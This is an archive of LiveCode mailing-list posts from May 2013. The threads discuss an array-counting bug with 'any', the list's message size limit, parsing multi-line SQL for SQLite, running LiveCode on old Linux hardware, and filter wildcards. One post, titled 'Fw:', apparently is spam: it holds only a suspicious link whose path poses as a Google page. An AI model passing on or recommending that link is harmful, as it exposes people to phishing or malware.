problem In-Reply-To: References: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> Message-ID: I thought about this when I thought the problem was just picking a random answer. I made a simple sorting function and I didn't use 'any' because I needed the value and the position. Dar On May 24, 2013, at 4:19 PM, Peter Haworth wrote: > On Fri, May 24, 2013 at 2:56 PM, wrote: > >> get any item of temp > > > I almost hate to mention this, but would the "any" keyword have any use in > the recent thread about sorting by random numbers? > > Pete > lcSQL Software > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dsc at swcp.com Sat May 25 11:41:57 2013 From: dsc at swcp.com (Dar Scott) Date: Sat, 25 May 2013 09:41:57 -0600 Subject: Counting problem In-Reply-To: <13921AAE-5CEE-4854-93CE-F3ABF7F2B83E@unil.ch> References: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> <519FF363.7070103@tweedly.net> <8D0270667D71069-1084-151AE@webmail-d145.sysops.aol.com> <13921AAE-5CEE-4854-93CE-F3ABF7F2B83E@unil.ch> Message-ID: <0583A008-4E0C-4754-B2D3-1836F05ED396@swcp.com> Putting local tcount at the top of the handler fixes this for me. (Maybe somebody already said that.) This is a scary bug for me. I quit LiveCode after the tests. Dar On May 25, 2013, at 2:44 AM, Jacques Hausser wrote: > Craig, > > A way to have the second script working correctly (sum on the counter array = 10) is to declare and fill the counter explicitly before using it; my version: > > on mouseup > put "a,b,c,d,e,f,g,h,i,j" into temp > repeat with i = 1 to 10 > put 0 into tcount[item i of temp] > end repeat > repeat 10 > add 1 to tcount[any item of temp] > end repeat > put "" into fld "F1" > put 0 into tSum > repeat with i = 1 to 10 > put item i of temp & " : " & tcount[item i of temp] & return after fld "F1" > add tcount[item i of temp] to tSum > end repeat > put return & "Sum = " & tSum after fld "F1" > end mouseUp > > the sum is always 10 - if you want to go back to craziness, just comment out the first loop. Sums between 6 and 17 in my trials. > I also noticed that the automatic indent doesn't work correctly for the "repeat 10" loop - perhaps an indication that the interpreter doesn't understand exactly what we mean? > > For Alex: I didn't observe the correcting effect of adding "put counter["b"] into tJunk" to the loop (OS 10.8.3, either with 6.0.1 or 5.5.4). The result was as bad as without the command. > > A very intriguing bug anyway ! I filled a bug report, # 10925 (giving credit to Craig for his amazing discovery) > > Jacques > > > > > Le 25 mai 2013 ? 04:26, dunbarx at aol.com a ?crit : > >> Alex. >> >> >> I am the kind of guy that is happy to solve a problem without understanding it. But this one is, er, bugging me. >> >> >> Craig >> >> >> >> -----Original Message----- >> From: Alex Tweedly >> To: use-livecode >> Sent: Fri, May 24, 2013 7:11 pm >> Subject: Re: Counting problem >> >> >> I see the same problem on both 5.5.3 and 6.0.1 - but testing in the >> message box. >> >> Oddly, I happened to notice that if I change the script to be >> >> put "a,b,c,d,e,f,g,h,i,j" into temp >> repeat 10 >> add 1 to counter[any item of temp] >> put counter["b"] into tJunk -- i.e. I add a single useless line >> !! >> end repeat >> >> >> >> it works just fine every time. >> Don't know if that helps you or makes it worse :-) >> >> -- Alex. >> >> On 24/05/2013 22:56, dunbarx at aol.com wrote: >>> I know I am going to feel like a dope, but why does the first script always >>> properly give ten counts in the array variable "counter", but the second can >>> give anywhere from five to sixteen, and maybe others? >>> >>> >>> >>> on mouseUp >>> put "a,b,c,d,e,f,g,h,i,j" into temp >>> repeat 10 >>> get any item of temp --always gives ten >>> add 1 to counter[it] >>> end repeat >>> end mouseUp >>> >>> >>> on mouseup >>> put "a,b,c,d,e,f,g,h,i,j" into temp >>> repeat 10 >>> add 1 to counter[any item of temp] >>> end repeat >>> end mouseUp >>> >>> >>> >>> >>> I have deconstructed the problem line by watching the array in the debugger on >>> the sly after each iteration. It goes crazy, sometimes the count of a particular >>> char going DOWN. >>> >>> >>> Craig Newman > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at lcsql.com Sat May 25 12:30:27 2013 From: pete at lcsql.com (Peter Haworth) Date: Sat, 25 May 2013 09:30:27 -0700 Subject: Counting problem In-Reply-To: <0583A008-4E0C-4754-B2D3-1836F05ED396@swcp.com> References: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> <519FF363.7070103@tweedly.net> <8D0270667D71069-1084-151AE@webmail-d145.sysops.aol.com> <13921AAE-5CEE-4854-93CE-F3ABF7F2B83E@unil.ch> <0583A008-4E0C-4754-B2D3-1836F05ED396@swcp.com> Message-ID: On Sat, May 25, 2013 at 8:41 AM, Dar Scott wrote: > Putting > > local tcount > > at the top of the handler fixes this for me. (Maybe somebody already said > that.) > > This is a scary bug for me. I quit LiveCode after the tests. > Hi Dar, I just posted that earlier this morning but it caught in the dreaded "message too big" trap - I sure wish that limit would be increased. Anyway, the gist of my post was that I included local declarations for temp and counter because I use strict compilation mode and everything worked fine for me right from the start. I switched strict compilation mode off and removed the local and the problem raised it's ugly head immediately. It seems that the pre-allocation of memory works differently than the allocation of memory on the fly, which is somewhat scary. Pete lcSQL Software From jacques.hausser at unil.ch Sat May 25 12:48:33 2013 From: jacques.hausser at unil.ch (Jacques Hausser) Date: Sat, 25 May 2013 18:48:33 +0200 Subject: Counting problem In-Reply-To: References: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> <519FF363.7070103@tweedly.net> <8D0270667D71069-1084-151AE@webmail-d145.sysops.aol.com> <13921AAE-5CEE-4854-93CE-F3ABF7F2B83E@unil.ch> <0583A008-4E0C-4754-B2D3-1836F05ED396@swcp.com> Message-ID: <10F4E08D-E2DC-4D1A-BC99-24CC28E31E0A@unil.ch> Perhaps even stranger: if you start for example with put "a,b,c,d,e,f,g,h,i,j" into temp put 0 into tcount delete variable tcount repeat 10 add 1 to tcount[any item of temp] end repeat the loop works fine, even if the variable tcount was not defined as an array and was deleted before the loop? Jacques Le 25 mai 2013 ? 18:30, Peter Haworth a ?crit : > On Sat, May 25, 2013 at 8:41 AM, Dar Scott wrote: > >> Putting >> >> local tcount >> >> at the top of the handler fixes this for me. (Maybe somebody already said >> that.) >> >> This is a scary bug for me. I quit LiveCode after the tests. >> > > Hi Dar, > I just posted that earlier this morning but it caught in the dreaded > "message too big" trap - I sure wish that limit would be increased. > > Anyway, the gist of my post was that I included local declarations for temp > and counter because I use strict compilation mode and everything worked > fine for me right from the start. I switched strict compilation mode off > and removed the local and the problem raised it's ugly head immediately. > > It seems that the pre-allocation of memory works differently than the > allocation of memory on the fly, which is somewhat scary. > > > Pete > lcSQL Software > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From dochawk at gmail.com Sat May 25 13:49:52 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Sat, 25 May 2013 10:49:52 -0700 Subject: thinking through parsing multi-line database commands with cr in the data Message-ID: I'm still kind of thinking aloud on this, and don't want to shoot my foot clean off. I'm developing with the ipad version in mind for the future, too. My preferred db will be postgres, with mysql as an alternate (if I don't keep tripping across it's "whoops!"s). However, for performance reasons (as well as the demo & single use versions working without having to install a db server!), it will be necessary to support sqlite as well, keeping the local db. I'm writting a wrapper to take multiple commands, and possibly an update/sync command, which could be to the table in the same or another db. If I'm feeding postgres/mysql, I can have a begin/update this/insert that/commit sequence, no problem. SQLite, though, seems to have at least sporadic issues with multi-line command blocks, and may need them sent one at a time. What I'm scratching my brain for is "unpeeling" a multi-command block where the data will usually include cr. All I'm coming up with so far is putting a line in, and testing for things like "INSERT INTO" "UPDATE" and any other command I use on the next line to see if it is indeed a new line, and otherwise appending to the current working line. But this will trip up on, for example, an address like: Joe Scmoe, President Update your mac! 123 E. Main St. Or am I (hopefully) missing an obvious solution (other than dump sqlite :) -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From dsc at swcp.com Sat May 25 14:43:29 2013 From: dsc at swcp.com (Dar Scott) Date: Sat, 25 May 2013 12:43:29 -0600 Subject: message too big (was Re: Counting problem) In-Reply-To: References: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> <519FF363.7070103@tweedly.net> <8D0270667D71069-1084-151AE@webmail-d145.sysops.aol.com> <13921AAE-5CEE-4854-93CE-F3ABF7F2B83E@unil.ch> <0583A008-4E0C-4754-B2D3-1836F05ED396@swcp.com> Message-ID: On May 25, 2013, at 10:30 AM, Peter Haworth wrote: > I just posted that earlier this morning but it caught in the dreaded > "message too big" trap - I sure wish that limit would be increased. I suspect the size assessment is before stripping the formatted version of the email. Maybe converting for plain text helps. On the other hand, maybe it is time for formatting if any issues for that can be resolved. It would be nice to have colorized scripts in email. So, maybe a higher limit or a better measure. Dar From richmondmathewson at gmail.com Sat May 25 15:09:37 2013 From: richmondmathewson at gmail.com (Richmond) Date: Sat, 25 May 2013 22:09:37 +0300 Subject: Installing 6.0.2 OSS Message-ID: <51A10C71.3040109@gmail.com> I have just installed LC 6.0.2 OSS on Ubuntu 8.04.3 "So what?" I hear you say. Because that Ubuntu 8.04 was running on a Pentium III with 256 MB RAM. "So what? How long is Richmond going to wibble on in this vein?" A LONG TIME Because the Open Source Version of Livecode is all about empowering many people who do not have buckets of moolah to run fancy right-up-to-date machines. Oh, and, while I'm here: I connected my favourite monitor of all time that I fished out of a dumpster in front of a supermarket in Scotland 9 years ago. Richmond. From stephenREVOLUTION2 at barncard.com Sat May 25 15:21:49 2013 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Sat, 25 May 2013 12:21:49 -0700 Subject: Installing 6.0.2 OSS In-Reply-To: <51A10C71.3040109@gmail.com> References: <51A10C71.3040109@gmail.com> Message-ID: In other words --- Richmond is VERY VERY happy about Livecode today. On Sat, May 25, 2013 at 12:09 PM, Richmond wrote: > I have just installed LC 6.0.2 OSS on Ubuntu 8.04.3 > > "So what?" I hear you say. > > Because that Ubuntu 8.04 was running on a Pentium III > with 256 MB RAM. > > "So what? How long is Richmond going to wibble on in this vein?" > > A LONG TIME Because the Open Source Version of Livecode > is all about empowering many people who do not have > buckets of moolah to run fancy right-up-to-date machines. > > Oh, and, while I'm here: I connected my favourite monitor > of all time that I fished out of a dumpster in front of a > supermarket in Scotland 9 years ago. > > Richmond. > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From richmondmathewson at gmail.com Sat May 25 15:29:09 2013 From: richmondmathewson at gmail.com (Richmond) Date: Sat, 25 May 2013 22:29:09 +0300 Subject: Installing 6.0.2 OSS In-Reply-To: References: <51A10C71.3040109@gmail.com> Message-ID: <51A11105.4020106@gmail.com> On 05/25/2013 10:21 PM, stephen barncard wrote: > In other words --- Richmond is VERY VERY happy about Livecode today. Indeed! And so should loads and loads of teachers and would-be programmers round the world. Do the Maths: Tatty old computer = $20 Old monitor (Res 1024 x 768) = $20 Keyboard & Mouse 'cheap as chips' Free Linux OS Free Livecode. AND, quite often there are schools who have had second-hand PCs dumped on them by well-meaning Western charities which could be put to good use exactly in this way. > > > On Sat, May 25, 2013 at 12:09 PM, Richmond wrote: > >> I have just installed LC 6.0.2 OSS on Ubuntu 8.04.3 >> >> "So what?" I hear you say. >> >> Because that Ubuntu 8.04 was running on a Pentium III >> with 256 MB RAM. >> >> "So what? How long is Richmond going to wibble on in this vein?" >> >> A LONG TIME Because the Open Source Version of Livecode >> is all about empowering many people who do not have >> buckets of moolah to run fancy right-up-to-date machines. >> >> Oh, and, while I'm here: I connected my favourite monitor >> of all time that I fished out of a dumpster in front of a >> supermarket in Scotland 9 years ago. >> >> Richmond. >> >> ______________________________**_________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/**mailman/listinfo/use-livecode >> > > From dunbarx at aol.com Sat May 25 15:31:36 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Sat, 25 May 2013 15:31:36 -0400 (EDT) Subject: message too big (was Re: Counting problem) In-Reply-To: References: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> <519FF363.7070103@tweedly.net> <8D0270667D71069-1084-151AE@webmail-d145.sysops.aol.com> <13921AAE-5CEE-4854-93CE-F3ABF7F2B83E@unil.ch> <0583A008-4E0C-4754-B2D3-1836F05ED396@swcp.com> Message-ID: <8D027959ADC87BA-115C-1D68C@webmail-d260.sysops.aol.com> The problem is definitely colorized and formatted text taken directly from the script editor. I have a utility that I keep open doing just what Dar said. I push F12, and a script runs that takes each char tChar in the clipboardData and replaces it with numToChar(charToNum(tChar)). If I forget, I always get the message bounced back, even if it is just a few lines. A pain. Craig -----Original Message----- From: Dar Scott To: How to use LiveCode Sent: Sat, May 25, 2013 2:45 pm Subject: message too big (was Re: Counting problem) On May 25, 2013, at 10:30 AM, Peter Haworth wrote: > I just posted that earlier this morning but it caught in the dreaded > "message too big" trap - I sure wish that limit would be increased. I suspect the size assessment is before stripping the formatted version of the email. Maybe converting for plain text helps. On the other hand, maybe it is time for formatting if any issues for that can be resolved. It would be nice to have colorized scripts in email. So, maybe a higher limit or a better measure. Dar _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From stephenREVOLUTION2 at barncard.com Sat May 25 15:36:06 2013 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Sat, 25 May 2013 12:36:06 -0700 Subject: message too big (was Re: Counting problem) In-Reply-To: <8D027959ADC87BA-115C-1D68C@webmail-d260.sysops.aol.com> References: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> <519FF363.7070103@tweedly.net> <8D0270667D71069-1084-151AE@webmail-d145.sysops.aol.com> <13921AAE-5CEE-4854-93CE-F3ABF7F2B83E@unil.ch> <0583A008-4E0C-4754-B2D3-1836F05ED396@swcp.com> <8D027959ADC87BA-115C-1D68C@webmail-d260.sysops.aol.com> Message-ID: hmm.. I've seen my formatted text come back with colors before (at least shows on Gmail) *ON* applyStoredArrayToLocal *get* returnPrefFileName() *set* the custompropertyset of stack it To "Letters" *put* the cDataA of stack it into gDataA *END* applyStoredArrayToLocal this is a test... On Sat, May 25, 2013 at 12:31 PM, wrote: > The problem is definitely colorized and formatted text taken directly from > the script editor. > > > I have a utility that I keep open doing just what Dar said. I push F12, > and a script runs that takes each char tChar in the clipboardData and > replaces it with numToChar(charToNum(tChar)). > > > If I forget, I always get the message bounced back, even if it is just a > few lines. A pain. > > > Craig > > > > -----Original Message----- > From: Dar Scott > To: How to use LiveCode > Sent: Sat, May 25, 2013 2:45 pm > Subject: message too big (was Re: Counting problem) > > > > On May 25, 2013, at 10:30 AM, Peter Haworth wrote: > > I just posted that earlier this morning but it caught in the dreaded > > "message too big" trap - I sure wish that limit would be increased. > > I suspect the size assessment is before stripping the formatted version of > the > email. Maybe converting for plain text helps. > > On the other hand, maybe it is time for formatting if any issues for that > can be > resolved. It would be nice to have colorized scripts in email. So, maybe > a > higher limit or a better measure. > > Dar > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From richmondmathewson at gmail.com Sat May 25 15:45:20 2013 From: richmondmathewson at gmail.com (Richmond) Date: Sat, 25 May 2013 22:45:20 +0300 Subject: Dictionary woes Message-ID: <51A114D0.4070504@gmail.com> Everybody should be really glad that the dictionary problem that occurred with 6.0.1 seems to have been sorted out. Richmond. From coiin at verizon.net Sat May 25 15:46:54 2013 From: coiin at verizon.net (Colin Holgate) Date: Sat, 25 May 2013 15:46:54 -0400 Subject: message too big (was Re: Counting problem) In-Reply-To: <8D027959ADC87BA-115C-1D68C@webmail-d260.sysops.aol.com> References: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> <519FF363.7070103@tweedly.net> <8D0270667D71069-1084-151AE@webmail-d145.sysops.aol.com> <13921AAE-5CEE-4854-93CE-F3ABF7F2B83E@unil.ch> <0583A008-4E0C-4754-B2D3-1836F05ED396@swcp.com> <8D027959ADC87BA-115C-1D68C@webmail-d260.sysops.aol.com> Message-ID: I use Mail, and it has a Make Plain Text option. I needed to use that when posting a script a few days ago, to get it under the message size limit. From stephenREVOLUTION2 at barncard.com Sat May 25 15:51:03 2013 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Sat, 25 May 2013 12:51:03 -0700 Subject: message too big (was Re: Counting problem) In-Reply-To: References: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> <519FF363.7070103@tweedly.net> <8D0270667D71069-1084-151AE@webmail-d145.sysops.aol.com> <13921AAE-5CEE-4854-93CE-F3ABF7F2B83E@unil.ch> <0583A008-4E0C-4754-B2D3-1836F05ED396@swcp.com> <8D027959ADC87BA-115C-1D68C@webmail-d260.sysops.aol.com> Message-ID: perhaps the limits should be upped just a little bit to accommodate the bulky html baggage. 32k would be perfect. On Sat, May 25, 2013 at 12:46 PM, Colin Holgate wrote: > I use Mail, and it has a Make Plain Text option. I needed to use that when > posting a script a few days ago, to get it under the message size limit. > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From pete at lcsql.com Sat May 25 16:52:41 2013 From: pete at lcsql.com (Peter Haworth) Date: Sat, 25 May 2013 13:52:41 -0700 Subject: message too big (was Re: Counting problem) In-Reply-To: References: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> <519FF363.7070103@tweedly.net> <8D0270667D71069-1084-151AE@webmail-d145.sysops.aol.com> <13921AAE-5CEE-4854-93CE-F3ABF7F2B83E@unil.ch> <0583A008-4E0C-4754-B2D3-1836F05ED396@swcp.com> <8D027959ADC87BA-115C-1D68C@webmail-d260.sysops.aol.com> Message-ID: I recognize there needs to be a limit but I think 16k is a little antiquated these days, 32k would be better. Pete lcSQL Software On Sat, May 25, 2013 at 12:51 PM, stephen barncard < stephenREVOLUTION2 at barncard.com> wrote: > perhaps the limits should be upped just a little bit to accommodate the > bulky html baggage. 32k would be perfect. > > > On Sat, May 25, 2013 at 12:46 PM, Colin Holgate wrote: > > > I use Mail, and it has a Make Plain Text option. I needed to use that > when > > posting a script a few days ago, to get it under the message size limit. > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > > > > -- > > > > Stephen Barncard > San Francisco Ca. USA > > more about sqb > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From jacque at hyperactivesw.com Sat May 25 17:52:27 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Sat, 25 May 2013 16:52:27 -0500 Subject: message too big (was Re: Counting problem) In-Reply-To: References: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> <519FF363.7070103@tweedly.net> <8D0270667D71069-1084-151AE@webmail-d145.sysops.aol.com> <13921AAE-5CEE-4854-93CE-F3ABF7F2B83E@unil.ch> <0583A008-4E0C-4754-B2D3-1836F05ED396@swcp.com> <8D027959ADC87BA-115C-1D68C@webmail-d260.sysops.aol.com> Message-ID: <51A1329B.60300@hyperactivesw.com> On 5/25/13 2:36 PM, stephen barncard wrote: > hmm.. I've seen my formatted text come back with colors before (at least > shows on Gmail) > > *ON* applyStoredArrayToLocal > > *get* returnPrefFileName() > > *set* the custompropertyset of stack it To "Letters" > > *put* the cDataA of stack it into gDataA > > *END* applyStoredArrayToLocal For those of us who receive only plain text messages, that's how it looks. There's other junk that shows up depending on what's in the script. Plain text messages would be readable for everyone. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Sat May 25 17:53:49 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Sat, 25 May 2013 16:53:49 -0500 Subject: message too big (was Re: Counting problem) In-Reply-To: <8D027959ADC87BA-115C-1D68C@webmail-d260.sysops.aol.com> References: <8D026E0B9BDF41C-15D0-1898F@webmail-d224.sysops.aol.com> <519FF363.7070103@tweedly.net> <8D0270667D71069-1084-151AE@webmail-d145.sysops.aol.com> <13921AAE-5CEE-4854-93CE-F3ABF7F2B83E@unil.ch> <0583A008-4E0C-4754-B2D3-1836F05ED396@swcp.com> <8D027959ADC87BA-115C-1D68C@webmail-d260.sysops.aol.com> Message-ID: <51A132ED.2080605@hyperactivesw.com> On 5/25/13 2:31 PM, dunbarx at aol.com wrote: > I have a utility that I keep open doing just what Dar said. I push > F12, and a script runs that takes each char tChar in the > clipboardData and replaces it with numToChar(charToNum(tChar)). > It might be quicker to just get the clipboardData["text"]. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From peterwawood at gmail.com Sat May 25 19:45:49 2013 From: peterwawood at gmail.com (Peter W A Wood) Date: Sun, 26 May 2013 07:45:49 +0800 Subject: 1001 things to do with LiveCode In-Reply-To: <1369448490224-4665420.post@n4.nabble.com> References: <3118B4E7-6905-4945-8FA1-01E7692D42A3@gmail.com> <419B9416-8E32-49F5-AA4E-FA33886DDC5C@gmail.com> <1369448490224-4665420.post@n4.nabble.com> Message-ID: Hi Al I don't have any formal guidelines. Well I didn't until you asked: 1. The app/stack should show how LiveCode has been used to do something useful for the author or users. (This really rules out IDE plug-ins and Library stacks). 2. There should be a screenshot of the app. 3. Some notes about the app. Regards Peter http://LiveCode1001.blogspot.com On 25 May 2013, at 10:21, Alejandro Tejada wrote: > Hi Peter, > > > Peter W A Wood wrote >> If anybody else reading this message has any interesting that >> they've developed in LiveCode, I'd really appreciate being able >> to include it in 1001 things to do with LiveCode. > > Did you published the guidelines about the exact information > that you require to include reviews of stacks or applications > in the site 1001 things to do with LiveCode? > > A pdf download would be fine. :) > > Al > > > > -- > View this message in context: http://runtime-revolution.278305.n4.nabble.com/1001-things-to-do-with-LiveCode-tp4662960p4665420.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From revolution at jaedworks.com Sat May 25 19:46:37 2013 From: revolution at jaedworks.com (Jeanne A. E. DeVoto) Date: Sat, 25 May 2013 16:46:37 -0700 Subject: Escaping the Filter command's wildcards In-Reply-To: References: <519D35C4.7000605@researchware.com> <519D3A9A.90707@economy-x-talk.com> <519D5414.8040304@researchware.com> <519D63AA.7070302@economy-x-talk.com> <519D6BE8.1070209@researchware.com> Message-ID: At 6:30 PM -0700 5/22/2013, Peter Haworth wrote: >I do find it strange that filter doesn't support full regexp syntax, seems >like RunRev would have had to write special code instead of using standard >regexp libraries which they use in other commands It was never supposed to be a regex command at all. The wildcard syntax is different (it's what's used in Unix shells - that's where it came from). -- jeanne a. e. devoto livecode at jaedworks.com From peterwawood at gmail.com Sat May 25 19:59:13 2013 From: peterwawood at gmail.com (Peter W A Wood) Date: Sun, 26 May 2013 07:59:13 +0800 Subject: Installing 6.0.2 OSS In-Reply-To: <51A11105.4020106@gmail.com> References: <51A10C71.3040109@gmail.com> <51A11105.4020106@gmail.com> Message-ID: Richmond You're absolutely right. It is indeed very good news for teachers and would-be programmers. But how do they find out about it? It would be great if you could share your knowledge and experience especially with the teachers you have in mind. How about writing some blog articles to share the knowledge? The combination of Blogger and Blogspot.com is easy to use, has almost unlimited web capacity and has a price of which you will approve - it's free. Once you've got the basics available on the blog, you could email relevant charities to try to spread the word. I would be happy to help you out if you decide to try something along these lines. Regards Peter On 26 May 2013, at 03:29, Richmond wrote: > On 05/25/2013 10:21 PM, stephen barncard wrote: >> In other words --- Richmond is VERY VERY happy about Livecode today. > > Indeed! > > And so should loads and loads of teachers and would-be programmers round the world. > > Do the Maths: > > Tatty old computer = $20 > > Old monitor (Res 1024 x 768) = $20 > > Keyboard & Mouse 'cheap as chips' > > Free Linux OS > > Free Livecode. > > AND, quite often there are schools who have had second-hand PCs dumped on them > by well-meaning Western charities which could be put to good use exactly in this way. > >> >> >> On Sat, May 25, 2013 at 12:09 PM, Richmond wrote: >> >>> I have just installed LC 6.0.2 OSS on Ubuntu 8.04.3 >>> >>> "So what?" I hear you say. >>> >>> Because that Ubuntu 8.04 was running on a Pentium III >>> with 256 MB RAM. >>> >>> "So what? How long is Richmond going to wibble on in this vein?" >>> >>> A LONG TIME Because the Open Source Version of Livecode >>> is all about empowering many people who do not have >>> buckets of moolah to run fancy right-up-to-date machines. >>> >>> Oh, and, while I'm here: I connected my favourite monitor >>> of all time that I fished out of a dumpster in front of a >>> supermarket in Scotland 9 years ago. >>> >>> Richmond. >>> >>> ______________________________**_________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>> http://lists.runrev.com/**mailman/listinfo/use-livecode >>> >> >> > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From pete at lcsql.com Sat May 25 20:42:35 2013 From: pete at lcsql.com (Peter Haworth) Date: Sat, 25 May 2013 17:42:35 -0700 Subject: Escaping the Filter command's wildcards In-Reply-To: References: <519D35C4.7000605@researchware.com> <519D3A9A.90707@economy-x-talk.com> <519D5414.8040304@researchware.com> <519D63AA.7070302@economy-x-talk.com> <519D6BE8.1070209@researchware.com> Message-ID: Well it sounds like it will support full rgexp in the near future courtesy of Jan Schenkel and OSS. Pete lcSQL Software On Sat, May 25, 2013 at 4:46 PM, Jeanne A. E. DeVoto < revolution at jaedworks.com> wrote: > At 6:30 PM -0700 5/22/2013, Peter Haworth wrote: > >> I do find it strange that filter doesn't support full regexp syntax, seems >> like RunRev would have had to write special code instead of using standard >> regexp libraries which they use in other commands >> > > It was never supposed to be a regex command at all. The wildcard syntax is > different (it's what's used in Unix shells - that's where it came from). > -- > jeanne a. e. devoto > livecode at jaedworks.com > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > From probert.dave at gmail.com Sun May 26 03:48:22 2013 From: probert.dave at gmail.com (Dave Probert) Date: Sun, 26 May 2013 00:48:22 -0700 (PDT) Subject: thinking through parsing multi-line database commands with cr in the data In-Reply-To: References: Message-ID: <1369554502711-4665448.post@n4.nabble.com> Hi, I found that the simplest route for me when working with multi-line field data was to pre-parse the data on storage and post parse it on extraction, by changing the 'cr''s to either another seldom used character or html (eg. '
'). So the database code before the INSERT/UPDATE would replace and cr's with '
', and once a SELECT is done either a single function to replace the '
's with cr in all the data returned (possibly multi row) or to do the replace at the usage of the individual row/field. Doing it this way means that the database manager (Postgres/Mysql/Sqlite) doesn't really know or care about multi-line data. But the code handling the data should be carefully constructed to make sure that there are no instances of the data getting through to the end user (view OR edit) with the replaceable characters in. Obviously if you are using actual html content then it's even easier - simply replace ALL cr's with empty on write. And replace '
' and '

's with the same AND a cr (for editing use). The whole process comes down to a couple of lines of code in the end and making sure you document which fields you do a morphing of the data in - so that it's easier to remember in a years time ;) - if necessary! Hope that helps a bit, Dave -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/thinking-through-parsing-multi-line-database-commands-with-cr-in-the-data-tp4665431p4665448.html Sent from the Revolution - User mailing list archive at Nabble.com. From max7 at aol.com Sun May 26 04:30:32 2013 From: max7 at aol.com (max7 at aol.com) Date: Sun, 26 May 2013 04:30:32 -0400 (EDT) Subject: Fw: Message-ID: <8D028026BFB78CE-100C-1D942@webmail-m285.sysops.aol.com> hi! message for you http://ggebik.webd.pl/com/m.google.com.php?9v9i8q1p4x3k8j6z0a From rene.micout at numericable.com Sun May 26 05:26:08 2013 From: rene.micout at numericable.com (=?iso-8859-1?Q?Ren=E9_Micout?=) Date: Sun, 26 May 2013 11:26:08 +0200 Subject: Installing 6.0.2 OSS In-Reply-To: <51A10C71.3040109@gmail.com> References: <51A10C71.3040109@gmail.com> Message-ID: <1DCBDDB9-55E7-4B64-A906-2BDAC9F76D1C@numericable.com> Hello everybody, Is 6.0.2 commercial or community version ? RM Le 25 mai 2013 ? 21:09, Richmond a ?crit : > I have just installed LC 6.0.2 OSS on Ubuntu 8.04.3 > > "So what?" I hear you say. > > Because that Ubuntu 8.04 was running on a Pentium III > with 256 MB RAM. > > "So what? How long is Richmond going to wibble on in this vein?" > > A LONG TIME Because the Open Source Version of Livecode > is all about empowering many people who do not have > buckets of moolah to run fancy right-up-to-date machines. > > Oh, and, while I'm here: I connected my favourite monitor > of all time that I fished out of a dumpster in front of a > supermarket in Scotland 9 years ago. > > Richmond. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > 